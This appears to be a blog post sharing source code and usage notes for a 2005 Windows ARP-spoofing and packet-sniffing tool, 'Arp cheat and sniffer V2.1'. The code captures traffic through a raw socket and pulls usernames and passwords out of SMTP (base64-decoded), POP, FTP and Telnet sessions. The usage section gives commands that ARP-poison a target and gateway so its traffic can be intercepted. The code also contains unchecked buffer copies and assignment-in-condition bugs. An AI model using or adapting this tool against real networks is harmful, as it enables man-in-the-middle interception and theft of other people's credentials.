	if(sniffuserinfo.Filter && m_PI.DataLen == 0) return 0;

	//数据过滤
	if(sniffuserinfo.ProtoType.Find(m_PI.Protocol,0)>=0 || sniffuserinfo.ProtoType=="*")
		if(sniffuserinfo.sourceip.Find(m_PI.FromIp,0)>=0 || sniffuserinfo.sourceip=="*")
			if(sniffuserinfo.sourceport.Find(m_PI.FromPort,0)>=0 || sniffuserinfo.sourceport=="*")
				if(sniffuserinfo.destip.Find(m_PI.DestIp,0)>=0 || sniffuserinfo.destip=="*")
					if(sniffuserinfo.destport.Find(m_PI.DestPort,0)>=0 || sniffuserinfo.destport=="*")
						cansave=true;

	if(cansave)
	{
		//回显数据包
		if(sniffuserinfo.Echo) EchoPacketString(NORMAL);
		if(sniffuserinfo.LogData)
		{
			int hfile;
			hfile = open(sniffuserinfo.SnifferDataPath, O_RDONLY|O_BINARY);
			if(hfile)
			{
				long flen = filelength(hfile);
				//检查抓包文件是否过大
				if((flen/1024/1024) > sniffuserinfo.MaxData)
				{
					close(hfile);
					remove(sniffuserinfo.SnifferDataPath);
				}
				else close(hfile);
			}	 
			WritePacketString(NORMAL);
			return 1;
		}
	}
	return 0;
}


//分析各种协议数据包
//检查smtp包
int SNIFFER::CheckSmtpPacket()
{
	int i;
	char *pindex;
	char sdata[100];
	memset((void *)sdata,0,sizeof(sdata));

	//该链接是否已被插进链表
	i = IpIsListened();
	if(i == -1)
	{
		//没有插进链表就现在插
		i = InsertListenIpList();
		if(i == -1)
		{
			//插入失败返回0
			return 0;
		}
		else
		{
			if(sniffuserinfo.Echo) printf("\r\n申请SMTP信息存储区域ListenIpList[%d]:[OK]\r\n",i);
		}
	}

	//更新最后收到数据包的时间
	UpdateLastVisitTime(i);

	CString LowSnifferStr;
	CString Encodestr,Decodestr;
	LowSnifferStr.Format("%s",m_PI.PacketData);
	LowSnifferStr.MakeLower();
	pindex=strstr(m_PI.PacketData, "\r\n");

	if(ListenIpList[i].step==0 && (LowSnifferStr.Find("auth login",0)==0))
	{
		ListenIpList[i].step++;
		return 0;
	}
	else if(ListenIpList[i].step==1||ListenIpList[i].step==2)
	{
		if(pindex!=NULL)
		{
			Encodestr.Format("%s",memcpy(sdata,m_PI.PacketData,pindex-m_PI.PacketData));
			ListenIpList[i].step++;
		}
	}
	else if(ListenIpList[i].step==3&&LowSnifferStr.Find("mail from:",0)==0)
	{
		if(pindex!=NULL)
		{
			memcpy(sdata,m_PI.PacketData,pindex-m_PI.PacketData);
			strcpy(ListenIpList[i].mailfrom,sdata);
			ListenIpList[i].step++;
		}
	}
	else if(ListenIpList[i].step==4&&LowSnifferStr.Find("rcpt to:",0)==0)
	{
		if(pindex!=NULL)
		{
			memcpy(sdata,m_PI.PacketData,pindex-m_PI.PacketData);
			strcpy(ListenIpList[i].rcptto,sdata);
			ListenIpList[i].step++;
		}
	}
	else;
	if(ListenIpList[i].step==2||ListenIpList[i].step==3)
	{
		BASE64 base64;
		char encodestr[50];
		ZeroMemory(encodestr,sizeof(encodestr));
		sprintf(encodestr,"%s",Encodestr);
		Decodestr.Format("%s",base64.StringDecode((unsigned char *)encodestr));
	}
	if(ListenIpList[i].step==2) strcpy(ListenIpList[i].username,Decodestr.GetBuffer(0));
	else if(ListenIpList[i].step==3) strcpy(ListenIpList[i].password,Decodestr.GetBuffer(0));
	else;
	if(ListenIpList[i].step==SMTPSTEP)
	{
		if(sniffuserinfo.Echo) EchoSnifferString(i,SMTP);
		if(sniffuserinfo.LogData) WriteSnifferString(i,SMTP);
		ResetListenIp(i);
		if(sniffuserinfo.Echo) printf("\r\n重置SMTP信息存储区域ListenIpList[%d]:[OK]\r\n",i);
	}
	return 1;
}

//检查pop包
int SNIFFER::CheckPopPacket()
{
	int i,strlength;
	char sdata[100];
	memset((void *)sdata,0,sizeof(sdata));

	//该链接是否已被插进链表
	i = IpIsListened();
	if(i == -1)
	{
		//没有插进链表就现在插
		i = InsertListenIpList();
		if(i == -1)
		{
			//插入失败返回0
			return 0;
		}
		else
		{
			if(sniffuserinfo.Echo) printf("\r\n申请POP信息存储区域ListenIpList[%d]:[OK]\r\n",i);
		}
	}

	//更新最后收到数据包的时间
	UpdateLastVisitTime(i);

	CString LowSnifferStr;
	LowSnifferStr.Format("%s",m_PI.PacketData);
	LowSnifferStr.MakeLower();
	if(ListenIpList[i].step==0&&LowSnifferStr.Find("user",0)==0)
	{
		strlength=strlen(m_PI.PacketData);
		memcpy(ListenIpList[i].username,m_PI.PacketData+5,strlength-7);
		ListenIpList[i].step++;
	}
	else if(ListenIpList[i].step==1&&LowSnifferStr.Find("pass",0)==0)
	{
		strlength=strlen(m_PI.PacketData);
		memcpy(ListenIpList[i].password,m_PI.PacketData+5,strlength-7);
		ListenIpList[i].step++;
	}
	else;
	if(ListenIpList[i].step==POPSTEP)
	{
		if(sniffuserinfo.Echo) EchoSnifferString(i,POP);
		if(sniffuserinfo.LogData) WriteSnifferString(i,POP);
		ResetListenIp(i);
		if(sniffuserinfo.Echo) printf("\r\n重置POP信息存储区域ListenIpList[%d]:[OK]\r\n",i);
	}
	return 1;
}

//检查ftp包
int SNIFFER::CheckFtpPacket()
{
	int i,strlength;
	char sdata[100];
	memset((void *)sdata,0,sizeof(sdata));

	//该链接是否已被插进链表
	i = IpIsListened();
	if(i == -1)
	{
		//没有插进链表就现在插
		i = InsertListenIpList();
		if(i == -1)
		{
			//插入失败返回0
			return 0;
		}
		else
		{
			if(sniffuserinfo.Echo) printf("\r\n申请FTP信息存储区域ListenIpList[%d]:[OK]\r\n",i);
		}
	}

	//更新最后收到数据包的时间
	UpdateLastVisitTime(i);

	CString LowSnifferStr;
	LowSnifferStr.Format("%s",m_PI.PacketData);
	LowSnifferStr.MakeLower();
	if(ListenIpList[i].step==0&&LowSnifferStr.Find("user",0)==0)
	{
		strlength=strlen(m_PI.PacketData);
		memcpy(ListenIpList[i].username,m_PI.PacketData+5,strlength-7);
		ListenIpList[i].step++;
	}
	else if(ListenIpList[i].step==1&&LowSnifferStr.Find("pass",0)==0)
	{
		strlength=strlen(m_PI.PacketData);
		memcpy(ListenIpList[i].password,m_PI.PacketData+5,strlength-7);
		ListenIpList[i].step++;
	}
	else;
	if(ListenIpList[i].step==FTPSTEP)
	{
		if(sniffuserinfo.Echo) EchoSnifferString(i,FTP);
		if(sniffuserinfo.LogData) WriteSnifferString(i,FTP);
		ResetListenIp(i);
		if(sniffuserinfo.Echo) printf("\r\n重置FTP信息存储区域ListenIpList[%d]:[OK]\r\n",i);
	}
	return 1;
}

//检查telnet包
int SNIFFER::CheckTelnetPacket()
{
	int i;

	//该链接是否已被插进链表
	i = IpIsListened();
	if(i == -1)
	{
		//没有插进链表就现在插
		i = InsertListenIpList();
		if(i == -1)
		{
			//插入失败返回0
			return 0;
		}
		else
		{
			if(sniffuserinfo.Echo) printf("\r\n申请TELNET信息存储区域ListenIpList[%d]:[OK]\r\n",i);
		}
	}

	//更新最后收到数据包的时间
	UpdateLastVisitTime(i);

	if(m_PI.DataLen==1||m_PI.DataLen==2)
	{
		if(m_PI.PacketData=="\r"||m_PI.PacketData=="\n"||m_PI.DataLen==2)
		{
			ListenIpList[i].step++;
			return 0;
		}
		if(m_PI.DataLen==1&&ListenIpList[i].step==0) strcat(ListenIpList[i].username,m_PI.PacketData);
		else if(m_PI.DataLen==1&&ListenIpList[i].step==1) strcat(ListenIpList[i].password,m_PI.PacketData);
		else;
	}
	//else if(PacketData.GetLength()==2) 
	else;
	if(ListenIpList[i].step==TELNETSTEP)
	{
		if(sniffuserinfo.Echo) EchoSnifferString(i,TELNET);
		if(sniffuserinfo.LogData) WriteSnifferString(i,TELNET);
		ResetListenIp(i);
		if(sniffuserinfo.Echo) printf("\r\n重置TELNET信息存储区域ListenIpList[%d]:[OK]\r\n",i);
	}
	return 1;
}


//监听的管理//
//判断会话是否已经在监听队列,返回队列下标,没有返回-1
int SNIFFER::IpIsListened()
{
	int i;
	for(i=0; i<MAX_SUBTHREAD_NUM; i++)
	{
		if(strcmp(ListenIpList[i].proto, m_PI.Protocol)==0 && strcmp(ListenIpList[i].sourceip, m_PI.FromIp)==0 && strcmp(ListenIpList[i].sourceport, m_PI.FromPort)==0 )
			if(strcmp(ListenIpList[i].destip, m_PI.DestIp)==0 && strcmp(ListenIpList[i].destport, m_PI.DestPort)==0)
				return i;
	}
	return -1;
}

//更新最后收到数据包的时间
void SNIFFER::UpdateLastVisitTime(int i)
{
	SYSTEMTIME systemtime;
	GetSystemTime(&systemtime);
	ListenIpList[i].lrecord_time = systemtime.wHour*3600+systemtime.wMinute*60+systemtime.wSecond;
}

//把回话插入到队列
int SNIFFER::InsertListenIpList()
{
	int i;
	for(i=0; i<MAX_SUBTHREAD_NUM; i++)
	{
		//直到找到一个空的地方,然后进行插入
		if(ListenIpList[i].proto[0] == 0)
		{
			ZeroMemory((char *)&ListenIpList[i], sizeof(ListenIpList[i]));
			strcpy(ListenIpList[i].proto, m_PI.Protocol);
			strcpy(ListenIpList[i].sourceip, m_PI.FromIp);
			strcpy(ListenIpList[i].sourceport, m_PI.FromPort);
			strcpy(ListenIpList[i].destip, m_PI.DestIp);
			strcpy(ListenIpList[i].destport, m_PI.DestPort);
			ListenIpList[i].step = 0;
			UpdateLastVisitTime(i);
			return i;
		}
	}

	//队列已满
	return -1;
}

//重置监听队列某项
void SNIFFER::ResetListenIp(int i)
{
	//标志位置0就可以了
	ListenIpList[i].proto[0] = 0;
}

//产生原始套接字
void SNIFFER::BornRawSocket(SOCKET &Socket)
{
	sockaddr_in localsock;
	Socket = socket(AF_INET, SOCK_RAW, IPPROTO_IP);
	if(Socket == INVALID_SOCKET) return;

	//自定义超时
	int rcvtimeout = 5000;
	if(setsockopt(Socket,SOL_SOCKET,SO_RCVTIMEO, (const char *)&rcvtimeout,sizeof(rcvtimeout)) == SOCKET_ERROR) return;

	//地址绑定
	localsock.sin_family = AF_INET;
	localsock.sin_port = htons(++BasePort);
	localsock.sin_addr.S_un.S_addr = inet_addr(GetLocalIp());
	if(bind(Socket, (const sockaddr *)&localsock, sizeof(localsock)) == SOCKET_ERROR) return;

	DWORD dwValue=1;
	if(ioctlsocket(Socket, SIO_RCVALL, &dwValue) == SOCKET_ERROR) return;
}
//

//构造函数
SNIFFER::SNIFFER()
{
	//变量初始化
	WsaStartup		= false;
	BasePort		= LISTEN_PORT;
	m_PI.Checked	= true;
	m_PI.Checked	= false;
	LostPacket		= 0;
	SnifferState	= SNIFFER_STATE_CLOSE;
	ZeroMemory((void *)&ListenIpList,sizeof(ListenIpList));

	//错误码
	SnifferError[0]="operate success!";
	SnifferError[1]="WSAStartup failed!";
	SnifferError[2]="Sniffer has start!";
	SnifferError[3]="Sniffer is stoping!";
	SnifferError[4]="Invalid Socket!";
	SnifferError[5]="setsockopt rcvtimeo failed!";
	SnifferError[6]="setsockopt iphdrincl failed!";
	SnifferError[7]="bind socket failed!";
	SnifferError[8]="ioctlsocket failed!";
	SnifferError[9]="thread is not stop!";
	SnifferError[10]="thread close failed!";
	SnifferError[11]="no thread run!";
	SnifferError[12]="thread is not start!";
	SnifferError[13]="recv data error!";
	SnifferError[14]="send message to subthread error!";

	WORD wsaVersion;
	WSADATA WSAData;
	wsaVersion = MAKEWORD(2, 0);
	//初始化套接字
	if(WSAStartup(wsaVersion,&WSAData) == SOCKET_ERROR)
	{
		ErrorCode=1;
	}
	else
	{ 
		ErrorCode=0;
		WsaStartup=true;
	}
}

//析构函数
SNIFFER::~SNIFFER()
{
	if(WsaStartup) WSACleanup();
}

//开始监听
int SNIFFER::Start(int type)
{
	if(WsaStartup)
	{
		if(SnifferState == SNIFFER_STATE_START)
		{
			ErrorCode = 2;
			return ErrorCode;
		}
		if(SnifferState == SNIFFER_STATE_STOP)
		{
			ErrorCode = 3;
			return ErrorCode;
		}

		//产生原始套接字
		BornRawSocket(RawSocket);
		if(RawSocket == 0)
		{
			ErrorCode = 4;
			return ErrorCode;
		}
		
		//开始主嗅探线程
		if(type == 0) 
			AfxBeginThread(SnifferThread,(LPVOID)this);

		//更换监听状态
		SnifferState = SNIFFER_STATE_START;

		//用户定义写文件
		if(sniffuserinfo.LogData) WriteUserDefine();
		
		//开始监听队列状态线程,处理监听超时的列表
		AfxBeginThread(StatusWatchThread, (LPVOID)this);

		ErrorCode=0;
		return ErrorCode;
	}
	else
	{
		ErrorCode = 1;
		return ErrorCode;
	}
}

//重新嗅探
int SNIFFER::ReStart()
{
	if(SnifferState = SNIFFER_STATE_STOP)
	{
		if(MainThreadId)
		{
			PostThreadMessage(MainThreadId, WM_SNIFFER_RESTART, NULL, NULL);
			ErrorCode=0;
			return ErrorCode;
		}
		else
		{
			ErrorCode = 11;
			return ErrorCode;
		}
	}
	ErrorCode = 9;
	return ErrorCode;
}

//关闭嗅探
int SNIFFER::SnifferClose()
{
	if(SnifferState != SNIFFER_STATE_CLOSE)
	{
		if(MainThreadId)
		{
			PostThreadMessage(MainThreadId, WM_SNIFFER_CLOSE, NULL, NULL);
			SnifferState = SNIFFER_STATE_CLOSE;
			MainThreadId = 0;
			ErrorCode = 0;
			return ErrorCode;
		}
		else
		{
			ErrorCode = 11;
			return ErrorCode;
		}
	}
	ErrorCode=10;
	return ErrorCode;
}

//关闭嗅探
int SNIFFER::Stop()
{
	if(SnifferState = SNIFFER_STATE_START)
	{
		if(MainThreadId)
		{
			PostThreadMessage(MainThreadId, WM_SNIFFER_STOP, NULL, NULL);
			ErrorCode=0;
			return ErrorCode;
		}
		else
		{
			ErrorCode=11;
			return ErrorCode;
		}
	}
	ErrorCode=12;
	return ErrorCode;
}

//获取错误码
char * SNIFFER::GetLastError(int errorcode)
{
	return SnifferError[errorcode];
}

//分析从winpcap捕获的数据包
int SNIFFER::AnalysePacket(char *buffer)
{
	int totalbytes,datalen,HeaderLen,retcode;
	bool can=true;
	retcode=0;
	IP_HEADER *IpHeader;
	TCP_HEADER *TcpHeader;
	UDP_HEADER *UdpHeader;
	ICMP_HEADER *IcmpHeader;
	ZeroMemory((char *)&m_PI,sizeof(m_PI));
	m_PI.DataLen=0;
	strcpy(m_PI.DestIp,"-");
	strcpy(m_PI.DestPort,"-");
	strcpy(m_PI.FromIp,"-");
	strcpy(m_PI.FromPort,"-");
	memset(m_PI.PacketData,0,sizeof(m_PI.PacketData));
	memset(m_PI.Protocol,0,sizeof(m_PI.Protocol));

	char *pdata;
	IpHeader = (IP_HEADER *)buffer;
	sprintf(m_PI.Protocol, "%s", GetProtocol((unsigned char)IpHeader->Protocol));
	sprintf(m_PI.FromIp, "%d.%d.%d.%d", IpHeader->FromIP.address[0], IpHeader->FromIP.address[1], IpHeader->FromIP.address[2], IpHeader->FromIP.address[3]);
	sprintf(m_PI.DestIp,"%d.%d.%d.%d", IpHeader->ToIP.address[0],IpHeader->ToIP.address[1],IpHeader->ToIP.address[2],IpHeader->ToIP.address[3]);
	
	totalbytes = ntohs(IpHeader->TotalLen);
	HeaderLen = (IpHeader->VersionHdl&0x0f)*4;
	totalbytes -= HeaderLen;

	switch(IpHeader->Protocol)
	{
	case IPPROTO_TCP:
		//printf("tcp\n");
		TcpHeader = (TCP_HEADER *)(buffer + HeaderLen);
		HeaderLen = ((TcpHeader->HeaderLen)>>4) * 4;
		sprintf(m_PI.FromPort, "%d", ntohs(TcpHeader->FromPort));
		sprintf(m_PI.DestPort, "%d", ntohs(TcpHeader->ToPort));
		pdata = (char *)TcpHeader + HeaderLen;
		datalen = totalbytes-HeaderLen;
		memcpy(m_PI.PacketData, pdata, datalen);
		break;
	case IPPROTO_UDP:
		//printf("udp\n");
		UdpHeader=(UDP_HEADER *)(buffer+HeaderLen);
		datalen=totalbytes-UDP_HEADER_LEN;
		sprintf(m_PI.FromPort,"%d",ntohs(UdpHeader->FromPort));
		sprintf(m_PI.DestPort,"%d",ntohs(UdpHeader->ToPort));
		pdata=(char *)UdpHeader+UDP_HEADER_LEN;
		memcpy(m_PI.PacketData,pdata,datalen);
		break;
	case IPPROTO_ICMP:
		//printf("icmp\n");
		IcmpHeader=(ICMP_HEADER *)(buffer+HeaderLen);
		datalen=totalbytes-ICMP_HEADER_LEN;
		pdata=(char *)IcmpHeader+ICMP_HEADER_LEN;
		//PacketData.Format("type:%d code:%d data:%s",IcmpHeader->Type,IcmpHeader->Code,pdata);
		memcpy(m_PI.PacketData,pdata,datalen);
		break;
	default:
		//printf("default\n");
		datalen=totalbytes;
		pdata=buffer+HeaderLen;
		//memcpy(m_PI.PacketData,pdata,datalen);
		break;
	}

	m_PI.DataLen = datalen;
	m_PI.Checked = false;   

	try
	{
		if(sniffuserinfo.PacketSniffStart && m_PI.DataLen!=0) SaveSnifferData();

		//自动分析SMTP协议的数据包
		if(sniffuserinfo.SmtpSniffStart && strcmp(m_PI.DestPort,"25")==0 && m_PI.DataLen!=0) 
			CheckSmtpPacket();
		//自动分析POP协议的数据包
		else if(sniffuserinfo.PopSniffStart && strcmp(m_PI.DestPort,"110")==0 && m_PI.DataLen!=0) 
			CheckPopPacket();
		//自动分析FTP协议的数据包
		else if(sniffuserinfo.FtpSniffStart && strcmp(m_PI.DestPort,"21")==0 && m_PI.DataLen!=0)  
			CheckFtpPacket();
		//自动分析TELNET协议的数据包
		else if(sniffuserinfo.TelnetSniffStart && strcmp(m_PI.DestPort,"23")==0 && m_PI.DataLen!=0) 
			CheckTelnetPacket();
		else;
	}
	catch(...)
	{
		//printf("\r\n+Check Packet Err...\r\n");
		return -1;
	}	 

	return retcode;
}

StdAfx.h

#include <stdio.h>
#include <afxwin.h>
#include <winsock2.h>
#include <afxdisp.h>
#include "Winsvc.h"	
#include <io.h>
#include <fcntl.h>
#include <conio.h>

StdAfx.cpp

// stdafx.cpp : source file that includes just the standard includes
//	arp.pch will be the pre-compiled header
//	stdafx.obj will contain the pre-compiled type information

#include "stdafx.h"

// TODO: reference any additional headers you need in STDAFX.H
// and not in this file


================================================================================


                Arp cheat and sniffer V2.1 
                Powered by shadow @2005/7/15
                my web:http://www.codehome.6600.org
                Has bugs please mail to:dreamshadow@mail.sdu.edu.cn


================================================================================

Usage:
-si                     源ip
-di                     目的ip       *代表所有,多项用,号分割
-sp                     源端口
-dp                     目的端口     *代表所有
-w                      嗅探方式,1代表单向嗅探[si->di],0代表双向嗅探[si<->di]
-p                      嗅探协议[TCP,UDP,ICMP]大写
-m                      最大记录文件,以M为单位
-o                      文件输出
-hex                    十六进制输出到文件
-unecho                 不回显
-unfilter               不过虑0字节数据包
-low                    粗略嗅探,丢包率高,cpu利用率低 基本0
-timeout                嗅探超时,除非网络状况比较差否则请不要调高,默认为120秒
-sniffsmtp              嗅探smtp
-sniffpop               嗅探pop
-sniffpost              嗅探post
-sniffftp               嗅探ftp
-snifftelnet            嗅探telnet,以上5个嗅探不受参数si,sp,di,dp,w,p影响.
-sniffpacket            规则嗅探数据包,受参数si,sp,di,dp,w,p影响.
-sniffall               开启所有嗅探
-onlycheat              只欺骗
-cheatsniff             欺骗并且嗅探
-reset                  欺骗后恢复
-g                      [网关ip]
-c                      [欺骗者ip] [mac]
-t                      [受骗者ip]
-time                   [欺骗次数]
Example:
 arpsniffer -p TCP -dp 25,110 -o f:\1.txt -m 1 -sniffpacket
   嗅探指定规则数据包并保存到文件
 arpsniffer -sniffall -cheatsniff -t 127.0.0.1 -g 127.0.0.254
   欺骗并且嗅探127.0.0.1与外界的通讯,输出到屏幕
 arpsniffer -onlycheat -t 127.0.0.1 -c 127.0.0.2 002211445544 -time 100 -reset
   对目标欺骗一百次,欺骗后恢复
Note:
        Program for 阿黛,I am very sorry for do this so late.Forgive me~~ :)


================================================================================


帮忙测试一下吧,有bug联系我
我本机测试的时候发现了些bug,不知道是不是我们这边是ipv6的原因
程序和代码都在附件里~
注意程序运行的时候不要用arp.exe的名字,这会产生一个错误,改成任意其他名字就行了


典型的例子如下,譬如我要嗅探本网段中192.168.0.54这台机子与外网段tcp的连接情况,可以这样用:
arpsf -cheatsniff -t 192.168.0.54 -g 192.168.0.254 -sniffpacket -p TCP -dp 80,25,23,110 -o d:\siff.txt -w 0 -m 1


释意:
嗅探192.168.0.54与外网的tcp连接情况并指定目的端口是80,23,25,110,嗅探方式是双向嗅探,最大记录文件是1M,输出到d盘sniff.txt文件中。其中192.168.0.254是网关的地址!也可以改成同网段中其他的地址,那就是网内嗅探了!


发现的以下bug:


1.本机运行该程序时会使自己上不了网,可能是数据包转发的时候出了点问题。[了解的告诉我一下] --->已修复


2.在欺骗嗅探的时候会降低对方的网速,程序执行还有优化的地方,希望大家提出比较好的解决方法。--->现在最快可以达到350包/s


3.修复了包处理的bug


--》其他bug等待大家发现。。。


几点不足:


由于时间仓促,只能分析tcp,udp和icmp三种数据包,等以后有时间了我会把其他包的分析都添上去的~~


注意事项:


在运行该程序前,请先安装winpcap驱动!
================================================================================
编程中遇到的问题:


1.数据包构造问题


  由于数据包的大小是固定,多一个字节都会出错,因此在构造结构体的时候尤其要小心,不要忘记vc中对结构体变量大小自动对齐这个问题;所谓自动对齐释疑如下:


在vc里定义结构体的时候,在32bit的模式下,结构体中的变量内存会自动对齐,打个比方吧:[这个问题我是在安焦上看到的,刚好解决了我的arp发送问题]


例有如下结构体:


struct test{


char ch;


int len;


}a;


这个结构体的实际大小实际上是8个字节,因为在32bit下自动对齐,所以ch后面会多出3个字节。


如果不想自动对齐,可以在结构体的前后加上#pragma参数


例如做如下定义:


#pragma pack(push,1)


struct test{


char ch;


int len;


}a;


#pragma pack(pop)


此时的结构体a才是5个字节!


2.数据包转发问题


  这个在嗅探中是很重要,如果转发不成功,对方就会断网了。
  这里具体的实现你们看代码吧,我只讲两点


一、
   用winpacap转发的时候注意这个函数的引用,PacketInitPacket(lpPacket, SZbuff, 60);
   在发包前初始化一次PacketInitPacket(lpPacket, SZbuff, 60);在嗅探前初始化回来PacketInitPacket(lpPacket,buffer,256000);
   如果要嗅探数据包要确保内存足够大,基本256000就行了。


二、注意在转发数据包的时候不要对自己发出去的然后又拦截下来的数据包重复捕获,否则就陷入死循环了,具体看我代码中的


IsInvalidPacket()
这个函数的用法!


主要的就这些问题了,希望对大家有所帮助。:)


//修复的bug :
2003下无法获得adapter list
优化了单双向嗅探流程
修复欺骗发包bug
修复存储数据时的一个bug
powered by shadow QQ:176017352  2005/7/15
================================================================================


申明:
    由于使用本软件造成的不良后果,请使用者自负!








评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值